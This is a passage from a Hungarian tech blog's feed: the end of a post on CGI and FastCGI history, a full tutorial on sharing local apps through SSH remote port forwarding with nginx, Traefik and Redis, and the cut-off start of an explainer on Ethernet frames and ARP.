<p>Mindent összevetve viszont egész sikeresnek mondhatjuk, a mai napig ez az ajánlott mód PHP kód futtatásra Apache webszerverrel.</p>
<h4>Simple Common Gateway Interface</h4>
<p>A FastCGI nem bizonyult elég egyszerűnek, úgyhogy 2001 környékén érkezett egy új versenyző is, az SCGI. Az <a href="https://github.com/nascheme/scgi/blob/main/doc/protocol.txt">SCGI protokoll</a> lényegesen egyszerűbb, viszont egy kapcsolaton egy időben csak egy kérés-választ lehet lebonyolítani.</p>
<p>Az összehasonlítás kedvéért ehhez is írtam <a href="https://github.com/deadlime/cgi-playground/blob/main/bin/scgi_server.py">egy egyszerű kis SCGI szervert</a> Python-ban, ami a FastCGI szerverhez hasonlóan működik.</p>
<h4>FastCGI, második kör</h4>
<p>Röpke 15 évvel a protokoll megjelenése után, 2010-ben megérkezik a FastCGI támogatás a PHP-hoz is a <a href="https://www.php.net/manual/en/install.fpm.php">FastCGI Process Manager</a> (FPM) formájában.</p>
<p>Ehhez még hozzájön az, hogy egyesek egy idő után megunták, hogy az Apache túl lassú (visszatérő motívum a történetünk során), úgyhogy 2004-ben elhozták nekünk az Nginx-et, úgyhogy kaptunk egy rendes alternatívát az Apache és mod_php mellé az Nginx és PHP-FPM képében.</p>
<h3>Változik a világ</h3>
<p>Telt-múlt az idő, egyre több nyelv szeretett volna web-kompatibilis lenni. 2003-ban jött a Python a <a href="https://peps.python.org/pep-0333/">WSGI</a>-vel, 2004-ben megjelent a Ruby on Rails, ami kezdetben CGI-ként, FCGI-ként vagy később a mod_ruby segítségével tudott futni. Aztán 2007-ben jött a Rack is, ami a WSGI-hez hasonló interface Ruby-hoz.</p>
<p>Ez nagyjából úgy működik, hogy valahonnan megkapjuk a HTTP kérés adatait (az adott nyelven írt webszerver, CGI, FCGI, akármi), ezek egységes formára lesznek hozva az adott nyelv webes interface-ének megfelelően, amit aztán az alkalmazás megkap.</p>
<p>Python esetén ez például így nézhet ki:</p>
<pre><code>HTTP kérés -&gt; Gunicorn -&gt; WSGI környezet -&gt; Flask -&gt; az általunk írt kód
</code></pre>
<p>Ruby esetén meg valami ilyesmi:</p>
<pre><code>HTTP kérés -&gt; Unicorn -&gt; Rack környezet -&gt; Sinatra -&gt; az általunk írt kód
</code></pre>
<p>Bár elméletben a HTTP kérés forrása több dolog is lehetne, a gyakorlatban úgy tűnik, hogy az adott nyelven írt webszerver lett a nyerő választás. Érdekes módon itt már kezdünk eltávolodni a korábban kitalált technológiáktól. Miért implementáltak le egy bonyolult HTTP szervert, ha van egyszerűbb alternatíva? Nem lett volna elég egy FCGI vagy SCGI szerver? Ki tudja.</p>
<h3>Modern webfejlesztés</h3>
<p>2009 környékén megjelent a Node.js, mert valakinek ismét nem tetszett, hogy az Apache túl lassú és nem tud elég kérést kezelni. Akkoriban jelent meg a Go is.  Mindkét nyelv része volt egy-egy HTTP szerver, ami azt hiszem el is döntötte, hogy hogyan lehet majd ezeken a nyelveken webes alkalmazásokat fejleszteni.</p>
<p>Az általános megoldás az lett, hogy a beépített HTTP szerver köré írtak keretrendszereket, a keretrendszerek segítségével pedig alkalmazásokat, így minden egyes alkalmazás a saját maga webszervere is lett egyben.</p>
<p>Persze ez idő alatt a világ is sokat változott. A nagy alkalmazások szét lettek szedve sok kis alkalmazásra, amiknél egyre ritkább lett, hogy teljes vagy részleges HTML oldalakat adjanak vissza (olyannyira, hogy az újabb generációnak már újdonság a template-ek szerver oldalon renderelése), így az igények is változtak.</p>
<p>Az alkalmazások előtt van általában már néhány proxy (HAProxy, Nginx, Traefik és társaik), amik alapvetően HTTP kérésekkel szeretnek dolgozni, így csak egy extra (valószínűleg felesleges) mozgó alkatrész lenne a gépezetben még egy HTTP szerver az alkalmazás előtt, aminek csak az a feladata, hogy HTTP-ről mondjuk FCGI-re fordítson.</p>
<p>Jó eséllyel az optimalizálás sem számít már annyira, mint régen. Nem feltétlen kell, hogy C-ben legyen írva a HTTP szerver, egy Python-os implementáció is képes lehet a szükséges teljesítményre.</p>
<h3>Összegzés</h3>
<p>Messzire jutottunk, talán sokat is felejtettünk az út során, de a fent említett dolgok még ma is élnek és virulnak (vagy legalábbis működőképesek), mint ahogy azt a kapcsolódó <a href="https://github.com/deadlime/cgi-playground">CGI játszótér</a> is mutatja, aminek segítségével ki lehet próbálni őket. Talán vannak olyan esetek, ahol még használni is érdemes őket. Kár lenne Kubernetes klasztert pazarolni egy problémára, amit egy CGI script is képes gond nélkül megoldani.</p>

]]></content:encoded>
        </item>
            <item>
            <title>Fény az alagút végén</title>
            <link>https://deadlime.hu/2023/10/29/feny-az-alagut-vegen/</link>
            <pubDate>Sun, 29 Oct 2023 10:13:38 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[Traefik]]></category>
                    <category><![CDATA[SSH]]></category>
                    
            <guid isPermaLink="false">62798de420f57b239758285aaa60b7ac</guid>
            <description>A gépünkön futó alkalmazások megosztása az Interneten SSH segítségével</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/tunnel_and_pipes.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Előfordul néha, hogy szeretnénk hozzáférést biztosítani valakinek a gépünkön futó dolgokhoz. Mondjuk épp egy alkalmazást fejlesztünk és valakivel szeretnénk megosztani az aktuális állapotot anélkül, hogy minden apró változtatást push-olni kelljen, aztán megvárni a build-et, hogy kikerüljön az egész a staging környezetre.</p>
<p>A hálózati adottságoktól függően ez akár egy elég bonyolult művelet is lehet (tűzfalak, port forwarding, NAT traversal). Talán éppen ezért kész szolgáltatások is vannak már ennek a problémának a megoldására (<a href="https://github.com/anderspitman/awesome-tunneling">nem is kevés, ami azt illeti</a>), de nem lenne túl érdekes ez a bejegyzés, ha ilyen irányba indulnánk el.</p>
<p>Inkább azt fogjuk megkísérelni, hogy olyan, háztartásokban gyakran előforduló eszközöket keresünk, amivel meg tudjuk oldani ezt a problémát. Ilyen eszköz például az SSH kliens, ami szinte mindenkinek van otthon a fiók mélyén (főleg amióta már a Windows-nak is a része egy ideje). Ezen kívül szükségünk lesz még egy <del>jól kivajazott tepsire</del> publikusan elérhető szerverre (mondjuk egy olcsó VPS valamelyik szolgáltatónál) és kezdődhet is a buli.</p>
<h3>Egyszerű mód</h3>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/tunnel_1.png" width="660" height="270" alt="" title="" loading="lazy" />
</p>

<p>Van egy alkalmazásunk a helyi gépen, ami <code>127.0.0.1:8080</code>-on várja a bejövő kapcsolatokat. Ezt egy egyszerű Python HTTP szerver fogja most szimulálni:</p>
<pre><code class="hljs shell">local:~$ mkdir fake-app
local:~$ cd fake-app
local:~/fake-app$ echo 'hello world' &gt;index.html
local:~/fake-app$ python -m http.server -b 127.0.0.1 8080
Serving HTTP on 127.0.0.1 port 8080 (http://127.0.0.1:8080/) ...
</code></pre>
<p>Egy másik terminálban ki is próbálhatjuk, hogy működik-e:</p>
<pre><code class="hljs shell">local:~$ curl 127.0.0.1:8080
hello world
</code></pre>
<p>Van még ezen kívül egy VPS-ünk, aminek a <code>tunnel.example.org</code> nevet adtuk. Ezzel a felállással kiadhatjuk a következő parancsot a helyi gépünkön:</p>
<pre><code class="hljs shell">local:~$ ssh -R 8080:127.0.0.1:8080 user@tunnel.example.org
</code></pre>
<p>Ez annyit csinál, hogy a tunnel gépen a <code>8080</code>-as porton a helyi gépünk <code>8080</code>-as portján futó alkalmazást fogjuk elérni (SSH remote port forwarding). Ki is próbálhatjuk a tunnel gépen:</p>
<pre><code class="hljs shell">tunnel:~$ curl 127.0.0.1:8080
hello world
</code></pre>
<p>Az SSH (valószínűleg biztonsági okokból) <code>127.0.0.1</code>-re fogja a <code>8080</code>-on hallgatózó szerverét bind-olni, úgyhogy kívülről nem fogjuk tudni elérni az alkalmazást, akkor sem ha a tűzfal szabályaink egyébként megengednék.</p>
<pre><code class="hljs shell">local:~$ curl tunnel.example.org:8080
curl: (7) Failed to connect to tunnel.example.org port 8080 after 30 ms: Couldn't connect to server
</code></pre>
<p>Ezt kiküszöbölhetjük azzal, hogy a <code>/etc/ssh/sshd_config</code> fájlban a <code>GatewayPorts</code> értékét megváltoztatjuk <code>clientspecified</code>-ra és kicsit módosítunk az ssh parancsunkon:</p>
<pre><code class="hljs shell">local:~$ ssh -R 0.0.0.0:8080:127.0.0.1:8080 user@tunnel.example.org
</code></pre>
<p>Így már működik a dolog, ha a tűzfal beállításaink is rendben vannak:</p>
<pre><code class="hljs shell">local:~$ curl tunnel.example.org:8080
hello world
</code></pre>
<p>Saját használatra megfelelő megoldás lehet, de egy hajszállal elegánsabb, ha maradunk az első változatnál és elindítunk mellé egy nginx-et a tunnel gépen, ami továbbítja a kéréseket a <code>127.0.0.1:8080</code>-ra:</p>
<pre class="file"><code>/etc/nginx/sites-available/tunnel
</code></pre>
<pre><code>server {
    listen 80;
    server_name tunnel.example.org;

    location / {
        proxy_pass http://127.0.0.1:8080/;
    }
}
</code></pre>
<p>Az oldal engedélyezése és az nginx konfiguráció újratöltése:</p>
<pre><code class="hljs shell">tunnel:~# ln -s /etc/nginx/sites-available/tunnel /etc/nginx/sites-enabled/
tunnel:~# systemctl reload nginx
</code></pre>
<p>És kész is vagyunk:</p>
<pre><code class="hljs shell">local:~$ curl tunnel.example.org
hello world
</code></pre>
<p>Talán túlzásnak tűnhet az nginx, de ha már itt van, akkor egyéb dolgokra is felhasználhatjuk:</p>
<ul>
<li>egyedi hiba oldal, ha a helyi alkalmazás épp nem fut, vagy nem vagyunk ssh-val felcsatlakozva</li>
<li>logolás</li>
<li>HTTPS az nginx és a külső kliensek között</li>
<li>mTLS a helyi alkalmazás és az nginx között (valószínűleg ehhez a helyi gépen is kelleni fog egy nginx)</li>
<li>basic autentikáció a külső klienseknek</li>
</ul>
<p>El is készült az egyszerű megoldásunk, egy nem túl bonyolult SSH parancs segítségével megoszthatjuk másokkal a helyi alkalmazásunkat. Egyetlen hátránya, hogy ezt csak egy ember tudja használni egy alkalmazás megosztására egy fix címen. Valószínűleg az esetleg 99%-ában ez is elég, de azért nézzünk meg egy kicsit bonyolultabb rendszert is a móka kedvéért.</p>
<h3>Haladó mód</h3>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/tunnel_2.png" width="660" height="270" alt="" title="" loading="lazy" />
</p>

<p>Az SSH remote port forwarding tud olyat, hogy ha portnak nullát adunk meg, akkor egy random porton fog figyelni a tunnel gépen:</p>
<pre><code class="hljs shell">local:~$ ssh -R 0:127.0.0.1:8080 user@tunnel.example.org
Allocated port 41025 for remote forward to 127.0.0.1:8080

[...]
</code></pre>
<p>Szóval csinálhatnánk valami olyasmit, hogy felcsatlakozásnál generálunk egy random host-ot (<code>&lt;random&gt;.tunnel.example.org</code>) és az erre a random host-ra érkező kéréseket az nginx a megfelelő portra irányítaná tovább. Ezzel megoldódna az egy ember/egy alkalmazás probléma.</p>
<p>Amennyire tudom, az nginx nem annyira jeleskedik a dinamikus konfigurációk terén. Generálhatnánk fájlokat és reload-olhatnánk az nginx-et, de ez a megoldás nem nyerte el a tetszésemet. Aztán eszembe jutott a Traefik, hogy az kellemesen dinamikus, van is egy provider benne, ami <a href="https://doc.traefik.io/traefik/providers/redis/">Redis kulcs-értékek alapján tudja beállítani a dolgokat</a>, úgyhogy elindultam ebbe az irányba.</p>
<p>A Traefik telepítése nem túl barátságos, ha nem akar az ember Docker-t használni. A Docker (Swarm) viszont nem túl barátságos a host gépen <code>127.0.0.1</code>-en figyelő szolgáltatások elérésében, úgyhogy ezzel még mindig jobban járunk.</p>
<p>Szóval nincs más hátra, mint letölteni a binárist, amit aztán valahogy megfuttatunk.</p>
<pre><code class="hljs shell">tunnel:~# mkdir -p /opt/traefik
tunnel:~# cd /opt/traefik
tunnel:/opt/traefik# wget https://github.com/traefik/traefik/releases/download/v2.10.5/traefik_v2.10.5_linux_amd64.tar.gz
tunnel:/opt/traefik# tar -xf traefik_v2.10.5_linux_amd64.tar.gz
tunnel:/opt/traefik# rm traefik_v2.10.5_linux_amd64.tar.gz
</code></pre>
<p>Első gondolatom az volt, hogy csak úgy jó igénytelen módon tolok neki egy <code>./traefik --providers.redis.endpoints=127.0.0.1:6379 --entrypoints.web.address=:80 &amp;</code> parancsot, had fusson a háttérben, az is bőven elég ahhoz, hogy kipróbáljam a dolgokat, de végül csak összeraktam hozzá egy systemd service fájlt.</p>
<pre class="file"><code>/etc/systemd/system/traefik.service
</code></pre>
<pre><code>[Unit]
Description=traefik
After=network-online.target
Wants=network-online.target systemd-networkd-wait-online.service

[Service]
Restart=on-abnormal
User=traefik
Group=traefik
ExecStart=/opt/traefik/traefik --providers.redis.endpoints=127.0.0.1:6379 --entrypoints.web.address=:80
CapabilityBoundingSet=CAP_NET_BIND_SERVICE
AmbientCapabilities=CAP_NET_BIND_SERVICE
NoNewPrivileges=true
</code></pre>
<p>Hogy működjön, szükségünk lesz egy <code>traefik</code> felhasználóra és csoportra, valamint egy Redis szerverre is.</p>
<pre><code class="hljs shell">tunnel:~# adduser --disabled-login --disabled-password --no-create-home traefik
tunnel:~# apt-get install redis-server
</code></pre>
<p>Aztán már csak a systemd dolgait kell újratölteni.</p>
<pre><code class="hljs shell">tunnel:~# systemctl daemon-reload
tunnel:~# systemctl start traefik.service
</code></pre>
<p>Első körben az eredeti működést szerettem volna reprodukálni, mielőtt még belekezdenék a dinamikus dolgok kitalálásába, úgyhogy a következő kulcs-érték párokat pakoltam be a Redis-be:</p>
<pre><code>tunnel:~# redis-cli
127.0.0.1:6379&gt; SET traefik/http/services/tunnel-service/loadbalancer/servers/0/url http://127.0.0.1:8080/
127.0.0.1:6379&gt; SET traefik/http/routers/tunnel-router/rule Host(`tunnel.example.org`)
127.0.0.1:6379&gt; SET traefik/http/routers/tunnel-router/entrypoints/0 web
127.0.0.1:6379&gt; SET traefik/http/routers/tunnel-router/service tunnel-service
</code></pre>
<p>Van egy service-ünk, ami a <code>127.0.0.1:8080</code>-on figyel és egy router szabály, ami a <code>tunnel.example.org</code>-ra, <code>80</code>-as porton (<code>web</code> entrypoint, amit a Traefik indításánál definiáltunk) érkező kéréseket a service-ünk felé irányítja. Szerencsére ez ugyanolyan jól működött, mint az eredeti nginx-es megoldás, úgyhogy jöhet a dinamizálás.</p>
<p>Az ötletem azon alapult, hogy az <code>authorized_keys</code> fájlban meg lehet adni egy saját parancsot, ami SSH csatlakozáskor lefut (így működik például a Git pull/push is SSH-n keresztül). Itt megadhatnánk egy kis shell scriptet, ami felvenné a megfelelő kulcs-érték párokat Redis-be, aztán pedig csak várna, amíg a felhasználó le nem zárja a kapcsolatot. Bezárásnál pedig feltakarítaná a létrehozott Redis kulcsokat.</p>
<p>Ehhez érdemes lehet egy külön felhasználót felvenni, hogy továbbra is tudjuk használni hagyományos módon is az SSH-t az eredeti felhasználónkkal:</p>
<pre><code class="hljs shell">tunnel:~# adduser --disabled-password mole
</code></pre>
<p>Az <code>authorized_keys</code> fájlba pedig felveszünk egy ilyen sort az SSH kulcsunkkal:</p>
<pre class="file"><code>/home/mole/.ssh/authorized_keys
</code></pre>
<pre><code>command=&quot;/home/mole/tunnel.sh&quot;,no-X11-forwarding,no-agent-forwarding &lt;SSH kulcs&gt;
</code></pre>
<p>A parancsnak valami ilyesmi felépítése lenne:</p>
<pre class="file"><code>/home/mole/tunnel.sh
</code></pre>
<pre><code class="hljs bash"><span class="hljs-comment">#!/bin/bash -e</span>

<span class="hljs-function"><span class="hljs-title">setup</span></span>() {
    <span class="hljs-comment"># setup</span>
}

<span class="hljs-function"><span class="hljs-title">cleanup</span></span>() {
    <span class="hljs-comment"># cleanup</span>
    <span class="hljs-built_in">exit</span> 0
}

<span class="hljs-built_in">trap</span> <span class="hljs-string">'cleanup'</span> INT

setup
tail -f /dev/null
</code></pre>
<p>Egy fontos mozzanat itt a <code>trap 'cleanup' INT</code>, amivel elkapjuk a <kbd>Ctrl</kbd>+<kbd>C</kbd>-vel való bezárást, hogy lefuttathassuk a takarítást. A <code>tail -f /dev/null</code> pedig tulajdonképpen nem csinál semmit, csak vár az idők végezetéig.</p>
<p>Természetesen futtathatóvá is kell tennünk ezt a fájlt:</p>
<pre><code>tunnel:~# chmod +x /home/mole/tunnel.sh
</code></pre>
<p>Már csak meg kellene találnunk azokat a portokat, amiket az aktuális SSH kapcsolat nyitott. Ehhez szükségünk lesz az sshd process ID-jára, ami pont a futó scriptünk szülője, úgyhogy a következő paranccsal meg is kapjuk:</p>
<pre><code class="hljs shell">tunnel:~$ grep PPid /proc/$$/status | awk '{ print $2 }'
123263
</code></pre>
<p>Bash-ben a <code>$$</code> az aktuális process ID-ja, a <code>/proc</code> könyvtárban pedig sok érdekes dolgot találhatunk, ha már tudjuk a process ID-t.</p>
<p>Megvan a szülő process ID, már csak a socketekről kellene információt találni. Az <code>lsof</code> remek eszköz erre, az egyetlen baj vele, hogy csak root-ként adja vissza azt az információt, amire nekünk szükségünk van.</p>
<p>A próba kedvéért felvettem a sudoers beállításai közé a <code>mole</code> felhasználót, hogy tudjon <code>root</code>-ként <code>lsof</code>-ot futtatni, de nem tudom, hogy ezt biztonsági szempontból teljesen rendben van-e (például van-e az <code>lsof</code>-nak valamilyen kevésbé ismert kapcsolója, amivel ki lehetne belőle csalni egy root shell-t).</p>
<pre class="file"><code>/etc/sudoers.d/10-mole-lsof
</code></pre>
<pre><code>mole ALL=(root) NOPASSWD: /usr/bin/lsof
</code></pre>
<p>Így már meg tudjuk szerezni a szükséges információt:</p>
<pre><code class="hljs shell">tunnel:~$ sudo lsof -a -nPi4 -sTCP:LISTEN -p 123263
COMMAND    PID USER   FD   TYPE  DEVICE SIZE/OFF NODE NAME
sshd    123263 mole    9u  IPv4 1569356      0t0  TCP 127.0.0.1:45991 (LISTEN)
sshd    123263 mole   11u  IPv4 1569360      0t0  TCP 127.0.0.1:39421 (LISTEN)
</code></pre>
<p>Jó sok kapcsolója van, a <code>-a</code> azt jelzi, hogy a szűrők között AND kapcsolatot szeretnénk, a <code>-n</code> mondja meg, hogy ne csináljon ip címekből hostneveket, a <code>-P</code> azt, hogy ne csináljon port számokból port neveket, a <code>-i</code> szűr az IPv4 kapcsolatokra, a <code>-s</code> a TCP-n figyelő szerverekre szűr, a <code>-p</code>-vel pedig a process id-t adjuk meg. Egy kis <code>awk</code> mágiával gyorsan megvannak ebből már az <code>ip:port</code> párok:</p>
<pre><code class="hljs shell">tunnel:~$ sudo lsof -nPi4 -sTCP:LISTEN -p 123263 -a | awk '/127.0.0.1:/ { print $9 }'
127.0.0.1:45991
127.0.0.1:39421
</code></pre>
<p>Ezzel megvan minden szükséges részlet ahhoz, hogy össze tudjuk rakni a scriptünket:</p>
<pre class="file"><code>/home/mole/tunnel.sh
</code></pre>
<pre><code class="hljs bash"><span class="hljs-comment">#!/bin/bash -e</span>
PID=$(grep PPid /proc/$$/status | awk <span class="hljs-string">'{ print $2 }'</span>)

<span class="hljs-built_in">declare</span> -A mapping
<span class="hljs-keyword">for</span> app <span class="hljs-keyword">in</span> $(sudo lsof -a -nPi4 -sTCP:LISTEN -p <span class="hljs-variable">$PID</span> | awk <span class="hljs-string">'/127.0.0.1:/ { print $9 }'</span>); <span class="hljs-keyword">do</span>
  mapping[$(pwgen -A0sBv 10 1)]=<span class="hljs-string">"<span class="hljs-variable">$app</span>"</span>
<span class="hljs-keyword">done</span>

<span class="hljs-function"><span class="hljs-title">setup</span></span>() {
    <span class="hljs-keyword">for</span> key <span class="hljs-keyword">in</span> <span class="hljs-string">"<span class="hljs-variable">${!mapping[@]}</span>"</span>; <span class="hljs-keyword">do</span>
        redis-cli &lt;&lt;EOF &gt;/dev/null
MULTI
SET traefik/http/services/<span class="hljs-variable">${key}</span>-service/loadbalancer/servers/0/url http://<span class="hljs-variable">${mapping[$key]}</span>/
SET traefik/http/routers/<span class="hljs-variable">${key}</span>-router/rule Host(\`<span class="hljs-variable">${key}</span>.tunnel.example.org\`)
SET traefik/http/routers/<span class="hljs-variable">${key}</span>-router/entrypoints/0 web
SET traefik/http/routers/<span class="hljs-variable">${key}</span>-router/service <span class="hljs-variable">${key}</span>-service
EXEC
EOF
        <span class="hljs-built_in">echo</span> <span class="hljs-string">"http://<span class="hljs-variable">${key}</span>.tunnel.example.org/ -&gt; <span class="hljs-variable">${mapping[$key]}</span>"</span>
    <span class="hljs-keyword">done</span>
}

<span class="hljs-function"><span class="hljs-title">cleanup</span></span>() {
    <span class="hljs-keyword">for</span> key <span class="hljs-keyword">in</span> <span class="hljs-string">"<span class="hljs-variable">${!mapping[@]}</span>"</span>; <span class="hljs-keyword">do</span>
        redis-cli &lt;&lt;EOF &gt;/dev/null
MULTI
DEL traefik/http/routers/<span class="hljs-variable">${key}</span>-router/rule
DEL traefik/http/routers/<span class="hljs-variable">${key}</span>-router/entrypoints/0
DEL traefik/http/routers/<span class="hljs-variable">${key}</span>-router/service
DEL traefik/http/services/<span class="hljs-variable">${key}</span>-service/loadbalancer/servers/0/url
EXEC
EOF
    <span class="hljs-keyword">done</span>
    <span class="hljs-built_in">exit</span> 0
}

<span class="hljs-built_in">trap</span> <span class="hljs-string">'cleanup'</span> INT

setup
tail -f /dev/null
</code></pre>
<p>Nincs más hátra, mint kipróbálni:</p>
<pre><code class="hljs shell">local:~$ ssh -R 0:127.0.0.1:8080 -R 0:127.0.0.1:8081 mole@tunnel.example.org
Allocated port 34021 for remote forward to 127.0.0.1:8080
Allocated port 39097 for remote forward to 127.0.0.1:8081
http://dkchdfskxz.tunnel.example.org/ -&gt; 127.0.0.1:34021
http://kzhrwsmgqk.tunnel.example.org/ -&gt; 127.0.0.1:39097
</code></pre>
<p>És egy másik terminálban a HTTP kérést is:</p>
<pre><code class="hljs shell">local:~$ curl http://dkchdfskxz.tunnel.example.org/
hello world
</code></pre>
<p>Mint az látszik, mi a tunnel oldalán már csak azt tudjuk megmondani, hogy mi az a random port, amit az sshd kiosztott nekünk, azt nem tudjuk, hogy a local gépen ez milyen portnak felel meg. Szerencsére az SSH kliens kiírja, úgyhogy össze lehet rakni a teljes láncolatot, de több remote forward esetén egy kicsit kényelmetlen lehet.</p>
<p>Természetesen itt is rengeteg lehetőség van még a továbbfejlesztésre, mint például:</p>
<ul>
<li>meggyőződni róla, hogy a <code>pwgen</code> által generált random még nem létezik a Redis-ben</li>
<li>periodikus takarító script, ami a véletlenül beragadt Redis kulcsokat törli</li>
<li>HTTPS, mTLS, autentikáció</li>
</ul>
<h3>Összegzés</h3>
<p>Mint általában, valószínűleg ebben az esetben sem érdemes saját megoldást építeni a nulláról egy napi szinten, több ember által használt rendszer esetén, ha ennyi kész megoldás áll a rendelkezésünkre. Az viszont sosem árt, ha tudjuk hogyan működhet egy ilyen rendszer a motorháztető alatt.</p>
<p>Érdemes lehet az egyszerű mód létezését észben tartani, akár még hasznosnak bizonyulhat valamikor a jövőben. Az SSH egy fantasztikus dolog.</p>

]]></content:encoded>
        </item>
            <item>
            <title>A hálózat csapdájában</title>
            <link>https://deadlime.hu/2023/09/30/a-halozat-csapdajaban/</link>
            <pubDate>Sat, 30 Sep 2023 19:58:42 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[hálózat]]></category>
                    <category><![CDATA[biztonság]]></category>
                    
            <guid isPermaLink="false">af901c3b03c12279f5eb1b987f95ae47</guid>
            <description>Utazás a csomagok fantasztikus világába</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/man_in_the_middle.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>
<p class="image-caption">Azért van olyan sok ujja, hogy hatékonyabban tudjon hackelni.</p>

<p>Gondolkoztál már valaha azon, hogy mi történik a színfalak mögött, amikor elküldesz egy HTTP kérést? Honnan tudják a bitek, hogy merre kell menni, amikor megpingelsz valakit a helyi hálózaton? Ilyen és ehhez hasonló kérdések megválaszolását fogjuk most megkísérelni.</p>
<p>Nem volt egyértelmű, hogy melyik irányból lenne érdemes nekiesni a problémának. Fogjak egy HTTP kérést és ássak le a legaljára vagy induljunk a legaljáról, amíg el nem érünk egy HTTP kérésig? Végül az utóbbi mellett döntöttem. Az eleje így egy kicsit távoli lehet, de a végére szerintem könnyebben összeáll a kép. Az OSI modellben meghatározott rétegek mentén fogunk haladni, kezdjük is a hardverrel.</p>
<h3>Fizikai réteg</h3>
<p>Jó eséllyel mindenkinek van otthon egy Ethernet hálózata, például valami ehhez hasonló:</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/lan.png" width="480" height="420" alt="" title="" loading="lazy" />
</p>
<p class="image-caption">Előfordulhat az is, hogy a modem, a router és a switch ugyanabban a dobozban lakik.</p>

<p>Ez az úgynevezett fizikai réteg: egy rakás hálózati eszköz, réz madzagokkal összekötözgetve (vagy varázslattal hajtott vezeték nélküli eszközök). Minden hálózati eszköznek van egy egyedi MAC címe, amit még a gyárban megkap. Van sok érdekesség még itt, aminek utána lehet járni (például, hogy hogyan beszélik le egymás között az eszközök, hogy milyen sebességeket támogatnak), de én személy szerint sokkal több mindent nem tudnék elmondani róla, úgyhogy lépjünk is tovább a következő szintre, az adatkapcsolati rétegre.</p>
<h3>Adatkapcsolati réteg</h3>
<p>Ezen a szinten végre előkerülnek az általunk jól ismert nullák és egyesek. Van az úgynevezett Ethernet keret, ami egy egységnyi adat, amit egyszerre el tudunk küldeni. Valahogy így néz ki:</p>
<table>
<tbody>
  <tr>
    <td nowrap>6 byte</td>
    <td>a címzett MAC címe</td>
  </tr>
  <tr>
    <td nowrap>6 byte</td>
    <td>a feladó MAC címe</td>
  </tr>
  <tr>
    <td nowrap>2 byte</td>
    <td>az adat típusa (<code>0x0800</code> IP esetén, <code>0x0806</code> ARP esetén)</td>
  </tr>
  <tr>
    <td nowrap>46-1500 byte</td>
    <td>az adat</td>
  </tr>
  <tr>
    <td nowrap>4 byte</td>
    <td>ellenőrző összeg</td>
  </tr>
</tbody>
</table>
<p>Érdekes, hogy a feladó önbevallásos alapon megy. Mi történik, ha valaki más MAC címét adjuk ott meg? Lehet ezzel esetleg valami huncutságot csinálni?</p>
<p>Két érdekes dolog is van itt, amit érdemes megemlíteni. Az egyik a MAC spoofing, amikor nem vagyunk elégedettek a hardver gyártó által kiosztott MAC címmel és ezt meg szeretnénk változtatni. Mondjuk azért, mert az internet szolgáltatónk eszköze csak egy regisztrált MAC címmel működik. Vagy ott vannak az Android telefonok, amik alapból véletlenszerű MAC címmel csatlakoznak egy Wi-Fi hálózathoz, hogy ne lehessen nyomon követni a telefont a hálózatok között.</p>
<p>A másik érdekes dolog a MAC flooding, ilyenkor a támadó egy rakás véletlenszerű MAC címet állít be feladóként, ami feltölti a Switch teljes MAC cím tábláját, kiszorítva a valós MAC címeket. Ennek általában az a következménye, hogy egy beérkező valós csomag címzett MAC címét nem fogja megtalálni a MAC cím táblában, ami miatt mindenkinek kiküldi a csomagot. Így a támadó olyan csomagok tartalmába kukkanthat bele, amit nem neki szántak.</p>
<p>A szemfüles olvasó azt is rögtön kiszúrhatta, hogy sehol sem esik szó az úgynevezett IP címekről, amit mi általában használni szoktunk. Ehhez tovább kell lépnünk a következő szintre, ami a hálózati réteg.</p>
<h3>Hálózati réteg</h3>
<p>Itt több érdekes protokollról is szót kell ejtenünk, amik mind az Ethernet keret adat részébe fognak kerülni. Először is tudnunk kell, hogy egy adott IP címhez milyen MAC cím tartozik.</p>
<h4>Address Resolution Protocol</h4>
<p>Az ARP ebben segít nekünk, küldhetünk egy kérést, amire az IP cím tulajdonosa válaszolhat. Az üzenet felépítése:</p>
<table>
<tbody>
  <tr>
    <td nowrap>2 byte</td>
    <td>a hardver típusa (<code>0x0001</code> az Ethernet esetén)</td>
  </tr>
  <tr>
    <td nowrap>2 byte</td>
    <td>a protokoll típusa (<code>0x0800</code> IP esetén)</td>
  </tr>
  <tr>
    <td nowrap>1 byte</td>
    <td>a hardver cím mérete (<code>0x06</code> Ethernet esetén, mert 6 byte-os egy MAC cím)</td>
  </tr>
  <tr>
    <td nowrap>1 byte</td>
    <td>a protokoll cím mérete (<code>0x04</code> IP esetén, mert 4 byte-os egy IP cím)</td>
  </tr>
  <tr>
    <td nowrap>2 byte</td>
    <td>az üzenet típusa (<code>0x0001</code> a kérés, <code>0x0002</code> a válasz)</td>
  </tr>
  <tr>
    <td nowrap>6 byte</td>
    <td>feladó hardver címe</td>
  </tr>
  <tr>
    <td nowrap>4 byte</td>
    <td>feladó protokoll címe</td>
  </tr>
  <tr>
    <td nowrap>6 byte</td>
    <td>címzett hardver címe</td>
  </tr>
  <tr>
    <td nowrap>4 byte</td>
    <td>címzett protokoll címe</td>
  </tr>
</tobdy>
</table>
<p>A fenti ábrát egészítsük ki IP címekkel és nézzünk meg egy konkrét példát a kérésre és a válaszra.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/lan2.png" width="480" height="420" alt="" title="" loading="lazy" />
</p>

<p>Mondjuk Alice szeretné Bob-ot ping-elni, úgyhogy megkérdezi, hogy a <code>192.168.1.103</code>-as IP cím melyik MAC címhez tartozik. A kérés (a zöld rész az Ethernet kerethez tartozik, a kék rész az ARP kéréshez):</p>
<table>
<tbody>
  <tr class="green">
    <td><code>0xFFFFFFFFFFFF</code></td>
    <td>címzett (mindenki)</td>
  </tr>
  <tr class="green">
    <td><code>0x0A0000000002</code></td>
    <td>feladó (Alice)</td>
  </tr>
  <tr class="green">
    <td><code>0x0806</code></td>
    <td>ARP típusú adat</td>
  </tr>
  <tr class="blue">
    <td><code>0x0001</code></td>
    <td>Ethernet hardver</td>
  </tr>
  <tr class="blue">
